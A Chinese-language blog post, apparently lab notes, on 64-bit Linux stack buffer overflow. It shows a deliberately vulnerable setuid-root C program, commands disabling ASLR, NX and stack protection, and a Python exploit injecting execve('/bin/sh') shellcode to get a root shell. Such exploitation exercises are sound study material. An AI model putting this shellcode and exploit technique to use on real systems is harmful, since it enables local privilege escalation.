缓冲区溢出笔记(一)

缓冲区溢出的基础前提,在于可以通过控制strcpy()strcat()甚至printf(),来覆盖堆栈里的返回地址。之前的实验里,其实只实现了最简单的溢出方式,即跳转的地址在当前程序栈(text segment)内,也就是只能执行程序内存在的功能,攻击的效果有限。更普遍的堆栈溢出攻击,应该是能够任意代码执行,也就意味着能够调用自定的攻击函数。
严格说来,溢出跳转应包含几个层次:

  1. 跳转目标在同一个程序栈,通过修改当前进程(Process)的返回地址,来非法跳转到目标地址;
  2. 跳转目标在另外的存储空间,需要借用已经加载的动态库,来间接跳转。由于libc作为C程序的基础动态库,被所有的C程序共用,所以许多情况下会利用libc函数的返回地址作为跳板目标。这种方式又分为几个难度:

    • 程序编译时不包含NX(No-eXecute, -z execstack)选项,使得在内存的数据区可以执行代码。此时只要在正常开辟的内存buffer中植入shellcode,再通过溢出将返回地址指向这片内存,就可以执行shellcode的功能;
    • 在程序栈中已经调用过需要使用的libc函数,也就是说函数的入口已经存在于内存。这个时候通过在内存中查找该函数的入口,改写libc返回地址来达成shell;
    • 要使用的libc函数之前没有调用过,即在内存中不存在函数入口。此时就要通过拼凑gadget,来完成这个目标函数所需要的功能。

这篇先来尝试做最简单的shellcode提权。先上图说结果:

通过对一个拥有管理员权限的程序进行栈溢出,可以拿到root的shell入口。


环境准备: Kali x64, python 2.7.15, gcc 5.x
漏洞程序代码:

  1 #include <stdio.h>
  2 #include <string.h>
  3
  4 int main(int argc, char* argv[])
  5 {
  6     char buf[256];
  7     printf("%p\n", buf); //为了方便找到buf入口,覆盖返回地址
  8     strcpy(buf, argv[1]);
  9     printf("Input:%s\n", buf);
 10     return 0;
 11 }

编译选项: 关闭随机虚拟地址空间(randomize_va_space),关闭NX保护(execstack),关闭堆栈smash保护(stack-protector)

#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

随便执行一下./vuln abc,看到buf的入口地址在0x7fffffffe140,于是构造攻击代码exp.py

  1 #!/usr/bin/env python
  2 import struct
  3 from subprocess import call
  4
  5 buf = []
  6 ret_addr = 0x7fffffffe140
  7
  8 scode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
  9
 10 def conv(num): #used to construct a little-endian address
 11     strs = struct.pack("<Q", num) # Q for unsigned long long, 64-bit addr
 12     return strs
 13
 14 # buf = shellcode + junk + return_addr
 15 buf = scode + "A" * (264 - len(scode))
 16 #buf += struct.pack("<Q",ret_addr) # return include '\x00', fail in the call below
 17 buf += "\x40\xe1\xff\xff\xff\x7f"
 18 #buf += "\x90" * 64
 19 #buf += scode
 20
 21 print "Calling vuln"
 22 print buf
 23 call(["./vuln", buf])

脚本的功能很清晰,首先是将shellcode放在栈的开头,然后填充字母A直至溢出,同时将返回地址写成之前找到的0x7fffffffe140
之所以这么写的原因入下图:

数据从ESP(64位为RSP)向高地址填充,正常从rsp到rbp之间的空间大小为程序申请的空间大小(本例中为256字节)。因此为了覆盖返回地址,需要256+sizeof(rbp)的数据,和一个返回地址。
本例中,所有寄存器宽度为8字节,shellcode长度30字节,因此填充长度256+8-30字节,覆写的返回地址长度8字节。
注意,在spoit-F-U-N的网站中,他的攻击基于32位程序和主机,因此地址用4字节长的变量存储。在python的struct.pack函数返回时,不会包含\x00的字符。然而在64位系统中,由于内存地址并不会占满64位数值,因此用<Q作为格式返回时一定会出现\x00,在Python调用call([])时便会出错(错误信息:第二个变量中含有非字符的元素)。所以在构造攻击脚本时,对于地址,要么直接写成小端,要么用"\x7f\xff\xff\xff\xe1\x40"[::-1]的方式倒过来。
python exp.py就可以攻击啦!
最后获得root权限的shell,嗨森!


2018/7/3 更新:
今天重复实验的时候发现不好使了,因为vuln中的buf复制目标地址变了。修改之后出现了久违的Python报错

TypeError: execv() arg 2 must contain only strings

原来是buf目标地址是0x7fffffffe100,写成Python可以接受的方式就是"\x7f\xff\xff\xff\xe1\x00"[::-1]"。末尾的\00成了非法字符!这种hardcode地址出现非法字符的问题也是难过。想了想也没有别的表达方式表示\00,只能从地址偏移上动手。于是Python攻击代码稍微改了改,加了个8字节的偏移:

 16 # buf = shellcode + junk + return_addr
 17 buf = "A" * 8 + scode + "A" * (264 - len(scode) - 8) #to skip address contains '\00' illegal for 'execv' func
 18 #buf += struct.pack("<Q",ret_addr)
 19 buf += "\x7f\xff\xff\xff\xe1\x08"[::-1]

这样就OK了。当然最好的办法还是写个自动化的方式,恕我Python苦手吧...


Reference

堆栈和溢出(bilibili搬运版)
Sploit-FUN
64 Bits Linux Stack Based Buffer Overflow

Comments
Write a Comment
'